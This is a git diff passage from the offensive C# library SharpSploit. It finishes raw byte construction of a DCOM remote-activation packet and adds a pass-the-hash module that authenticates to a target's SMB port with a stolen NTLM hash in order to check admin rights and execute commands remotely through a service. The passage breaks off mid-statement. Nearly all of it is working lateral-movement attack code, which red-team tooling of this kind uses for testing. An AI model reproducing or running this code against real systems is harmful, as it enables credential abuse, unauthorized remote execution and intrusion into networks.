0x05, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMinor", new byte[] { 0x07, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtrMaxCount", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIds", new byte[] { 0x18, 0xad, 0x09, 0xf3, 0x6a, 0xd8, 0xd0, 0x11, 0xa0, 0x75, 0x00, 0xc0, 0x4f, 0xb6, 0x88, 0x20 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsUnusedBuffer", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoCommonHeader", new byte[] { 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoPrivateHeader", new byte[] { 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientOk", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved3", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrReferentID", new byte[] { 0x00, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoNULLPtr", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextUnknown", new byte[] { 0x60, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextCntData", new byte[] { 0x60, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFSignature", new byte[] { 0x4d, 0x45, 0x4f, 0x57 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFFlags", new byte[] { 0x04, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFIID", new byte[] { 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCLSID", new byte[] { 0x3b, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFSize", new byte[] { 0x30, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoUnusedBuffer", new byte[] { 0x01, 0x00, 0x01, 0x00, 0x63, 0x2c, 0x80, 0x2a, 0xa5, 0xd2, 0xaf, 0xdd, 0x4d, 0xc4, 0xbb, 0x37, 0x4d, 0x37, 0x76, 0xd7, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoCommonHeader", new byte[] { 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoPrivateHeader", packet_private_header); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoAuthenticationFlags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoPtrReferentID", new byte[] { 0x00, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoNULLPtr", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameReferentID", new byte[] { 0x04, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNULLPtr", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameMaxCount", packet_target_length); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameActualCount", packet_target_length); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameString", packet_target_unicode); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoCommonHeader", new byte[] { 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoPrivateHeader", new byte[] { 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoNULLPtr", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoProcessID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoApartmentID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoContextID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoCommonHeader", new byte[] { 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoPrivateHeader", new byte[] { 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoNULLPtr", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrReferentID", new byte[] { 0x00, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestClientImpersonationLevel", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestNumProtocolSequences", new byte[] { 0x01, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestUnknown", new byte[] { 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID", new byte[] { 0x04, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq", new byte[] { 0x07, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoUnusedBuffer", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + return packet_DCOMRemoteCreateInstance; + } + } +} + diff --git a/SharpSploit/LateralMovement/SCM.cs b/SharpSploit/LateralMovement/SCM.cs index b5d5d8f..1768456 100644 --- a/SharpSploit/LateralMovement/SCM.cs +++ b/SharpSploit/LateralMovement/SCM.cs @@ -327,5 +327,7 @@ protected internal override IList ResultProperties } } } + + } } \ No newline at end of file diff --git a/SharpSploit/LateralMovement/SMB.cs b/SharpSploit/LateralMovement/SMB.cs new file mode 100644 index 0000000..35477aa --- /dev/null +++ b/SharpSploit/LateralMovement/SMB.cs @@ -0,0 +1,1762 @@ +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.Diagnostics; +using System.Linq; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using SharpSploit.Execution; +using SharpSploit.Misc; + +namespace SharpSploit.LateralMovement +{ + public class PassTheHash + { + /// + /// Determines if a username and hash has administrative privilege on a Target + /// + /// The Username to query. + /// The NTLM hash for the user + /// The logon domain for the user + /// The Target to query. + /// True for Admin, False for not. + /// Scottie Austin (@checkymander) + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + public static bool SMBAdminCheckWithHash(string username, string hash, string domain, string Target) + { + string result = SMBExecuteWithHash(username, hash, domain, Target, AdminCheck: true); + if (result.Contains(" is a local administrator on ")) + return true; + else + return false; + } + + + /// + /// Execute a command against multiple targets using Pass the Hash and SMB + /// + /// The username to log on as. + /// The NTLM hash for the user. + /// The logon domain for the user. + /// The Target computers to run the command on. + /// The Command to execute on the Target + /// Sleeptime between actions. Set this if getting unknown failures. (default=15). + /// The name to give the SMB service for execution. + /// Check only if user is Admin on targets. + /// Append %COMSPEC% /C to command. (default=true) + /// Force usage of SMBv1. + /// Include debug information in the output. + /// Returns a string containing execution results. + /// Scottie Austin (@checkymander) + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + public static string SMBExecuteWithHash(string username, string hash, string domain, List targets, string command = "", int sleep = 15, string ServiceName = "", bool AdminCheck = false, bool ComSpec = true, bool ForceSMB1 = false, bool debug = false) + { + StringBuilder sb = new StringBuilder(); + foreach (var Target in targets) + { + sb.AppendLine(SMBExecuteWithHash(username, hash, domain, Target, command, sleep, ServiceName, AdminCheck, ComSpec, ForceSMB1, debug)); + } + + return sb.ToString(); + } + + /// + /// Execute a command against multiple targets using Pass the Hash and SMB + /// + /// The username to log on as. + /// The NTLM hash for the user. + /// The logon domain for the user. + /// The Target computer to run the command on. + /// The Command to execute on the Target + /// Sleeptime between actions. Set this if getting unknown failures. (default=15). + /// The name to give the SMB service for execution. + /// Check only if user is Admin on targets. + /// Append %COMSPEC% /C to command. (default=true) + /// Force usage of SMBv1. + /// Include debug information in the output. + /// Returns a string containing execution results. + /// Scottie Austin (@checkymander) + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + public static string SMBExecuteWithHash(string username, string hash, string domain, string Target, string command = "", int sleep = 15, string ServiceName = "", bool AdminCheck = false, bool ComSpec = true, bool ForceSMB1 = false, bool debug = false) + { + //Trackers + bool Login_Successful = false; + bool Service_Deleted = false; + bool SMBExec_Failed = false; + bool SMB_execute = false; + bool SMB_Signing = false; + string Output_Username; + string processID = BitConverter.ToString(BitConverter.GetBytes(Process.GetCurrentProcess().Id)).Replace("-", ""); + string[] processID2 = processID.Split('-'); + StringBuilder output = new StringBuilder(); + int SMB2_Message_ID = 0; + int SMB_Close_Service_Handle_Stage = 0; + int SMB_Split_Stage = 0; + int SMB_Split_Index_Tracker = 0; + double SMB_Split_Stage_final = 0; + //Communication + byte[] SMBClientReceive = null; + //Packet Reqs + byte[] Process_ID_Bytes = Utilities.ConvertStringToByteArray(processID.ToString()); + byte[] SMB_Session_ID = null; + byte[] Session_Key = null; + byte[] SMB_Session_Key_Length = null; + byte[] SMB_Negotiate_Flags = null; + byte[] SMB2_Tree_ID = null; + byte[] SMB_Client_Send = null; + byte[] SMB_FID = new byte[2]; + byte[] SMB_Service_Manager_Context_Handle = null; + byte[] SMB_Service_Context_Handle = null; + byte[] SMB_Named_Pipe_Bytes = null; + byte[] SMB_File_ID = null; + byte[] SMB_User_ID = null; + byte[] SMB_Header = null; + byte[] SMB2_Header = null; + byte[] SMB_Data = null; + byte[] SMB2_Data = null; + byte[] NetBIOS_Session_Service = null; + byte[] NTLMSSP_Negotiate = null; + byte[] NTLMSSP_Auth = null; + byte[] SMB_Sign = null; + byte[] SMB_Signature = null; + byte[] SMB_Signature2 = null; + byte[] SMB2_Sign = null; + byte[] SMB2_Signature = null; + byte[] SMB_Signing_Sequence = null; + byte[] RPC_Data = null; + byte[] SCM_Data = null; + OrderedDictionary Packet_SMB_Header = null; + OrderedDictionary Packet_SMB2_Header = null; + OrderedDictionary Packet_SMB_Data = null; + OrderedDictionary Packet_SMB2_Data = null; + OrderedDictionary Packet_NTLMSSP_Negotiate = null; + OrderedDictionary Packet_NTLMSSP_Auth = null; + OrderedDictionary Packet_RPC_Data = null; + OrderedDictionary Packet_SCM_Data = null; + MD5CryptoServiceProvider MD5Crypto = new MD5CryptoServiceProvider(); + + if (String.IsNullOrEmpty(username) || String.IsNullOrEmpty(hash) || String.IsNullOrEmpty(Target)) + { + output.AppendLine("Missing Required Params"); + } + else + { + if (hash.Contains(":")) + hash = hash.Split(':').Last(); + } + if (!string.IsNullOrEmpty(domain)) + Output_Username = domain + '\\' + username; + else + Output_Username = username; + + + if (!AdminCheck) + { + if (debug) { output.AppendLine("AdminCheck is false"); } + if (!string.IsNullOrEmpty(command)) + { + if (debug) { output.AppendLine("String is not empty"); } + SMB_execute = true; + } + } + + TcpClient SMBClient = new TcpClient(); + SMBClient.Client.ReceiveTimeout = 60000; + + try + { + SMBClient.Connect(Target, 445); + } + catch + { + output.AppendLine("Could not connect to Target"); + } + + if (SMBClient.Connected) + { + if (debug) { output.AppendLine(String.Format("Connected to {0}", Target)); } + NetworkStream SMBClientStream = SMBClient.GetStream(); + SMBClientReceive = new byte[1024]; + string SMBClientStage = "NegotiateSMB"; + + while (SMBClientStage != "exit") + { + if (debug) { output.AppendLine(String.Format("Current Stage: {0}", SMBClientStage)); } + switch (SMBClientStage) + { + case "NegotiateSMB": + { + Packet_SMB_Header = new OrderedDictionary(); + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x72 }, new byte[] { 0x18 }, new byte[] { 0x01, 0x48 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 }); + Packet_SMB_Data = SMBExec.SMBNegotiateProtocolRequest(ForceSMB1); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + if (BitConverter.ToString(new byte[] { SMBClientReceive[4], SMBClientReceive[5], SMBClientReceive[6], SMBClientReceive[7] }).ToLower() == "ff-53-4d-42") + { + ForceSMB1 = true; + if (debug) { output.AppendLine("Using SMB1"); } + SMBClientStage = "NTLMSSPNegotiate"; + if (BitConverter.ToString(new byte[] { SMBClientReceive[39] }).ToLower() == "0f") + { + if (debug) { output.AppendLine("SMB Signing is Enabled"); } + SMB_Signing = true; + SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; + SMB_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x08, 0xa0 }; + + } + else + { + if (debug) { output.AppendLine("SMB Signing is not Enforced"); } + SMB_Signing = false; + SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; + SMB_Negotiate_Flags = new byte[] { 0x05, 0x82, 0x08, 0xa0 }; + + } + } + else + { + if (debug) { output.AppendLine("Using SMB2"); } + SMBClientStage = "NegotiateSMB2"; + if (BitConverter.ToString(new byte[] { SMBClientReceive[70] }) == "03") + { + if (debug) { output.AppendLine("SMB Signing is Enabled"); } + SMB_Signing = true; + SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; + SMB_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x08, 0xa0 }; + } + else + { + if (debug) { output.AppendLine("SMB Signing is not Enforced"); } + SMB_Signing = false; + SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; + SMB_Negotiate_Flags = new byte[] { 0x05, 0x80, 0x08, 0xa0 }; + } + } + } + break; + case "NegotiateSMB2": + { + SMB2_Message_ID = 1; + Packet_SMB2_Header = new OrderedDictionary(); + SMB2_Tree_ID = new byte[] { 0x00, 0x00, 0x00, 0x00 }; + SMB_Session_ID = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x00, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Data = SMBExec.SMB2NegotiateProtocolRequest(); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "NTLMSSPNegotiate"; + + } + break; + case "NTLMSSPNegotiate": + { + SMB_Client_Send = null; + if (ForceSMB1) + { + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x73 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 }); + + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + } + Packet_NTLMSSP_Negotiate = SMBExec.NTLMSSPNegotiate(SMB_Negotiate_Flags, null); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate); + Packet_SMB_Data = SMBExec.SMBSessionSetupAndXRequest(NTLMSSP_Negotiate); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + } + else + { + Packet_SMB2_Header = new OrderedDictionary(); + SMB2_Message_ID += 1; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x01, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_NTLMSSP_Negotiate = SMBExec.NTLMSSPNegotiate(SMB_Negotiate_Flags, null); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate); + Packet_SMB2_Data = SMBExec.SMB2SessionSetupRequest(NTLMSSP_Negotiate); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + } + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "exit"; + } + break; + + } + } + if (debug) { output.AppendLine(String.Format("Authenticating to {0}", Target)); } + string SMB_NTLSSP = BitConverter.ToString(SMBClientReceive); + SMB_NTLSSP = SMB_NTLSSP.Replace("-", ""); + int SMB_NTLMSSP_Index = SMB_NTLSSP.IndexOf("4E544C4D53535000"); + int SMB_NTLMSSP_Bytes_Index = SMB_NTLMSSP_Index / 2; + int SMB_Domain_Length = Utilities.DataLength(SMB_NTLMSSP_Bytes_Index + 12, SMBClientReceive); + int SMB_Target_Length = Utilities.DataLength(SMB_NTLMSSP_Bytes_Index + 40, SMBClientReceive); + SMB_Session_ID = Utilities.GetByteRange(SMBClientReceive, 44, 51); + byte[] SMB_NTLM_challenge = Utilities.GetByteRange(SMBClientReceive, SMB_NTLMSSP_Bytes_Index + 24, SMB_NTLMSSP_Bytes_Index + 31); + byte[] SMB_Target_Details = null; + SMB_Target_Details = Utilities.GetByteRange(SMBClientReceive, (SMB_NTLMSSP_Bytes_Index + 56 + SMB_Domain_Length), (SMB_NTLMSSP_Bytes_Index + 55 + SMB_Domain_Length + SMB_Target_Length)); + byte[] SMB_Target_Time_Bytes = Utilities.GetByteRange(SMB_Target_Details, SMB_Target_Details.Length - 12, SMB_Target_Details.Length - 5); + string hash2 = ""; + for (int i = 0; i < hash.Length - 1; i += 2) { hash2 += (hash.Substring(i, 2) + "-"); }; + byte[] NTLM_hash_bytes = (Utilities.ConvertStringToByteArray(hash.Replace("-", ""))); + string Auth_Hostname = Environment.MachineName; + byte[] Auth_Hostname_Bytes = Encoding.Unicode.GetBytes(Auth_Hostname); + byte[] Auth_Domain_Bytes = Encoding.Unicode.GetBytes(domain); + byte[] Auth_Username_Bytes = Encoding.Unicode.GetBytes(username); + byte[] Auth_Domain_Length = BitConverter.GetBytes(Auth_Domain_Bytes.Length); + Auth_Domain_Length = new byte[] { Auth_Domain_Length[0], Auth_Domain_Length[1] }; + byte[] Auth_Username_Length = BitConverter.GetBytes(Auth_Username_Bytes.Length); + Auth_Username_Length = new byte[] { Auth_Username_Length[0], Auth_Username_Length[1] }; + byte[] Auth_Hostname_Length = BitConverter.GetBytes(Auth_Hostname_Bytes.Length); + Auth_Hostname_Length = new byte[] { Auth_Hostname_Length[0], Auth_Hostname_Length[1] }; + byte[] Auth_Domain_offset = new byte[] { 0x40, 0x00, 0x00, 0x00 }; + byte[] Auth_Username_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + 64); + byte[] Auth_Hostname_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + 64); + byte[] Auth_LM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 64); + byte[] Auth_NTLM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 88); + HMACMD5 HMAC_MD5 = new HMACMD5(); + HMAC_MD5.Key = NTLM_hash_bytes; + string Username_And_Target = username.ToUpper(); + byte[] Username_Bytes = Encoding.Unicode.GetBytes(Username_And_Target); + byte[] Username_And_Target_bytes = Username_Bytes.Concat(Auth_Domain_Bytes).ToArray(); + byte[] NTLMv2_hash = HMAC_MD5.ComputeHash(Username_And_Target_bytes); + Random r = new Random(); + byte[] Client_Challenge_Bytes = new byte[8]; + r.NextBytes(Client_Challenge_Bytes); + + + + byte[] Security_Blob_Bytes = (new byte[] { 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(SMB_Target_Time_Bytes) + .Concat(Client_Challenge_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }) + .Concat(SMB_Target_Details) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + byte[] Server_Challenge_And_Security_Blob_Bytes = Server_Challenge_And_Security_Blob_Bytes = SMB_NTLM_challenge.Concat(Security_Blob_Bytes).ToArray(); + HMAC_MD5.Key = NTLMv2_hash; + byte[] NTLMv2_Response = HMAC_MD5.ComputeHash(Server_Challenge_And_Security_Blob_Bytes); + if (SMB_Signing) + { + byte[] Session_Base_Key = HMAC_MD5.ComputeHash(NTLMv2_Response); + Session_Key = Session_Base_Key; + HMACSHA256 HMAC_SHA256 = new HMACSHA256(); + HMAC_SHA256.Key = Session_Key; + } + NTLMv2_Response = NTLMv2_Response.Concat(Security_Blob_Bytes).ToArray(); + byte[] NTLMv2_Response_Length = BitConverter.GetBytes(NTLMv2_Response.Length); + NTLMv2_Response_Length = new byte[] { NTLMv2_Response_Length[0], NTLMv2_Response_Length[1] }; + byte[] SMB_Session_Key_offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + NTLMv2_Response.Length + 88); + + byte[] NTLMSSP_response = (new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00 }) + 